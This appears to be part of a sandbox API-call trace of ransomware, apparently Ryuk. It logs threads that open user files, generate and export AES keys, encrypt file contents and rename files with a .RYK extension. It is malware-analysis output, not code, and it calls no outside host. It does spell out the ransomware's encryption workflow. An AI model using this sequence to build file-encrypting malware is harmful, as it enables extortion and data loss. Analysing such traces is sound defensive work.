	[0276.004] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0xa16fa50, pdwDataLen=0xa16f9e0 | out: pbData=0xa16fa50*, pdwDataLen=0xa16f9e0*=0x10c) returned 1
	[0276.004] WriteFile (in: hFile=0x86c, lpBuffer=0xa16fa50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa16f9d0, lpOverlapped=0x0 | out: lpBuffer=0xa16fa50*, lpNumberOfBytesWritten=0xa16f9d0*=0x10c, lpOverlapped=0x0) returned 1
	[0276.004] CloseHandle (hObject=0x86c) returned 1
	[0276.320] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0276.320] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3779
	os_tid = 0x4090

	[0275.372] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf.RYK", dwFileAttributes=0x80) returned 1
	[0276.006] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0276.006] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x9c6fa98 | out: lpFileSize=0x9c6fa98*=77394) returned 1
	[0276.006] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x9c6faa8 | out: lpFileSize=0x9c6faa8*=77394) returned 1
	[0276.007] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x12d30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.007] ReadFile (in: hFile=0x854, lpBuffer=0x9c6faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9c6fa60, lpOverlapped=0x0 | out: lpBuffer=0x9c6faf0*, lpNumberOfBytesRead=0x9c6fa60*=0x19, lpOverlapped=0x0) returned 1
	[0276.008] CloseHandle (hObject=0x854) returned 1

Thread:
	id = 3780
	os_tid = 0x4094

	[0275.372] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK", dwFileAttributes=0x80) returned 1
	[0276.009] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0276.009] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x93afa98 | out: lpFileSize=0x93afa98*=1042) returned 1
	[0276.009] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x93afaa8 | out: lpFileSize=0x93afaa8*=1042) returned 1
	[0276.009] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.010] ReadFile (in: hFile=0x820, lpBuffer=0x93afaf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93afa60, lpOverlapped=0x0 | out: lpBuffer=0x93afaf0*, lpNumberOfBytesRead=0x93afa60*=0x19, lpOverlapped=0x0) returned 1
	[0276.011] CloseHandle (hObject=0x820) returned 1

Thread:
	id = 3781
	os_tid = 0x4098

	[0275.606] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3", dwFileAttributes=0x80) returned 1
	[0275.607] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c
	[0275.607] GetFileSizeEx (in: hFile=0x85c, lpFileSize=0xa2ef8d8 | out: lpFileSize=0xa2ef8d8*=81234) returned 1
	[0275.607] GetFileSizeEx (in: hFile=0x85c, lpFileSize=0xa2ef8e8 | out: lpFileSize=0xa2ef8e8*=81234) returned 1
	[0275.607] SetFilePointerEx (in: hFile=0x85c, liDistanceToMove=0x13c30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.607] ReadFile (in: hFile=0x85c, lpBuffer=0xa2ef930, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa2ef8a0, lpOverlapped=0x0 | out: lpBuffer=0xa2ef930*, lpNumberOfBytesRead=0xa2ef8a0*=0x19, lpOverlapped=0x0) returned 1
	[0275.609] CloseHandle (hObject=0x85c) returned 1
	[0275.609] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3.ryk"), dwFlags=0x8) returned 1
	[0277.255] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3784
	os_tid = 0x40a8

	[0275.613] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt.RYK", dwFileAttributes=0x80) returned 1
	[0276.610] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878
	[0276.611] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x8f2fb18 | out: lpFileSize=0x8f2fb18*=99282) returned 1
	[0276.611] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x8f2fb28 | out: lpFileSize=0x8f2fb28*=99282) returned 1
	[0276.611] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x182b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.611] ReadFile (in: hFile=0x878, lpBuffer=0x8f2fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f2fae0, lpOverlapped=0x0 | out: lpBuffer=0x8f2fb70*, lpNumberOfBytesRead=0x8f2fae0*=0x19, lpOverlapped=0x0) returned 1
	[0276.613] CloseHandle (hObject=0x878) returned 1

Thread:
	id = 3785
	os_tid = 0x40ac

	[0275.614] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png.RYK", dwFileAttributes=0x80) returned 1
	[0276.298] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\c2o-.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\c2o-.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0276.298] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x8c9f6f8 | out: lpFileSize=0x8c9f6f8*=96066) returned 1
	[0276.298] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x8c9f708 | out: lpFileSize=0x8c9f708*=96066) returned 1
	[0276.299] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0x17620, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.299] ReadFile (in: hFile=0x874, lpBuffer=0x8c9f750, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x8c9f750*, lpNumberOfBytesRead=0x8c9f6c0*=0x19, lpOverlapped=0x0) returned 1
	[0276.300] CloseHandle (hObject=0x874) returned 1

Thread:
	id = 3786
	os_tid = 0x40b0

	[0275.614] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif.RYK", dwFileAttributes=0x80) returned 1
	[0276.301] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cN7DcCnDgk9.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cn7dccndgk9.gif.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0276.302] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x924f758 | out: lpFileSize=0x924f758*=11154) returned 1
	[0276.302] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x924f768 | out: lpFileSize=0x924f768*=11154) returned 1
	[0276.302] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x2a70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.302] ReadFile (in: hFile=0x86c, lpBuffer=0x924f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x924f720, lpOverlapped=0x0 | out: lpBuffer=0x924f7b0*, lpNumberOfBytesRead=0x924f720*=0x19, lpOverlapped=0x0) returned 1
	[0276.304] CloseHandle (hObject=0x86c) returned 1

Thread:
	id = 3787
	os_tid = 0x40b4

	[0275.615] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0275.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864
	[0275.616] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x9f1fa78 | out: lpFileSize=0x9f1fa78*=16674) returned 1
	[0275.616] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x9f1fa88 | out: lpFileSize=0x9f1fa88*=16674) returned 1
	[0275.616] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.616] ReadFile (in: hFile=0x864, lpBuffer=0x9f1fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9f1fa40, lpOverlapped=0x0 | out: lpBuffer=0x9f1fad0*, lpNumberOfBytesRead=0x9f1fa40*=0x19, lpOverlapped=0x0) returned 1
	[0275.618] CloseHandle (hObject=0x864) returned 1

Thread:
	id = 3788
	os_tid = 0x40b8

	[0275.619] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp", dwFileAttributes=0x80) returned 1
	[0276.017] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864
	[0276.017] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x955fbb8 | out: lpFileSize=0x955fbb8*=85810) returned 1
	[0276.017] GetFileSizeEx (in: hFile=0x864, lpFileSize=0x955fbc8 | out: lpFileSize=0x955fbc8*=85810) returned 1
	[0276.018] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0x14e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.018] ReadFile (in: hFile=0x864, lpBuffer=0x955fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x955fb80, lpOverlapped=0x0 | out: lpBuffer=0x955fc10*, lpNumberOfBytesRead=0x955fb80*=0x19, lpOverlapped=0x0) returned 1
	[0276.019] CloseHandle (hObject=0x864) returned 1
	[0276.020] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp.ryk"), dwFlags=0x8) returned 1
	[0277.554] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\cWKgRNKb-nRhISbFb.odp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cwkgrnkb-nrhisbfb.odp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3789
	os_tid = 0x40bc

	[0275.620] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png.RYK", dwFileAttributes=0x80) returned 1
	[0276.305] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dMinn1FcJBx.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dminn1fcjbx.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868
	[0276.305] GetFileSizeEx (in: hFile=0x868, lpFileSize=0xa3ff7b8 | out: lpFileSize=0xa3ff7b8*=12210) returned 1
	[0276.305] GetFileSizeEx (in: hFile=0x868, lpFileSize=0xa3ff7c8 | out: lpFileSize=0xa3ff7c8*=12210) returned 1
	[0276.305] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x2e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.305] ReadFile (in: hFile=0x868, lpBuffer=0xa3ff810, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa3ff780, lpOverlapped=0x0 | out: lpBuffer=0xa3ff810*, lpNumberOfBytesRead=0xa3ff780*=0x19, lpOverlapped=0x0) returned 1
	[0276.307] CloseHandle (hObject=0x868) returned 1

Thread:
	id = 3790
	os_tid = 0x40c0

	[0275.620] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 1
	[0276.015] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.016] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3791
	os_tid = 0x40c4

	[0275.621] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv.RYK", dwFileAttributes=0x80) returned 1
	[0276.308] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\H3Njx34uqpIif.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\h3njx34uqpiif.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0276.308] GetFileSizeEx (in: hFile=0x854, lpFileSize=0xa04f818 | out: lpFileSize=0xa04f818*=102338) returned 1
	[0276.308] GetFileSizeEx (in: hFile=0x854, lpFileSize=0xa04f828 | out: lpFileSize=0xa04f828*=102338) returned 1
	[0276.308] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x18ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.309] ReadFile (in: hFile=0x854, lpBuffer=0xa04f870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa04f7e0, lpOverlapped=0x0 | out: lpBuffer=0xa04f870*, lpNumberOfBytesRead=0xa04f7e0*=0x19, lpOverlapped=0x0) returned 1
	[0276.310] CloseHandle (hObject=0x854) returned 1

Thread:
	id = 3792
	os_tid = 0x40c8

	[0275.621] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0275.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0275.622] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xa8bf5f8 | out: lpFileSize=0xa8bf5f8*=16384) returned 1
	[0275.622] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xa8bf608 | out: lpFileSize=0xa8bf608*=16384) returned 1
	[0275.622] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.622] ReadFile (in: hFile=0x86c, lpBuffer=0xa8bf650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa8bf5c0, lpOverlapped=0x0 | out: lpBuffer=0xa8bf650*, lpNumberOfBytesRead=0xa8bf5c0*=0x19, lpOverlapped=0x0) returned 1
	[0275.625] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.625] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa8bf5d8 | out: phKey=0xa8bf5d8*=0x39f440) returned 1
	[0275.625] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.625] ReadFile (in: hFile=0x86c, lpBuffer=0x4280000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0xa8bf5e4, lpOverlapped=0x0 | out: lpBuffer=0x4280000*, lpNumberOfBytesRead=0xa8bf5e4*=0x4000, lpOverlapped=0x0) returned 1
	[0275.627] CryptEncrypt (in: hKey=0x39f440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa8bf5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa8bf5e0*=0xf4250) returned 1
	[0275.627] CryptEncrypt (in: hKey=0x39f440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4280000*, pdwDataLen=0xa8bf5e8*=0x4000, dwBufLen=0xf4250 | out: pbData=0x4280000*, pdwDataLen=0xa8bf5e8*=0x4010) returned 1
	[0275.627] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
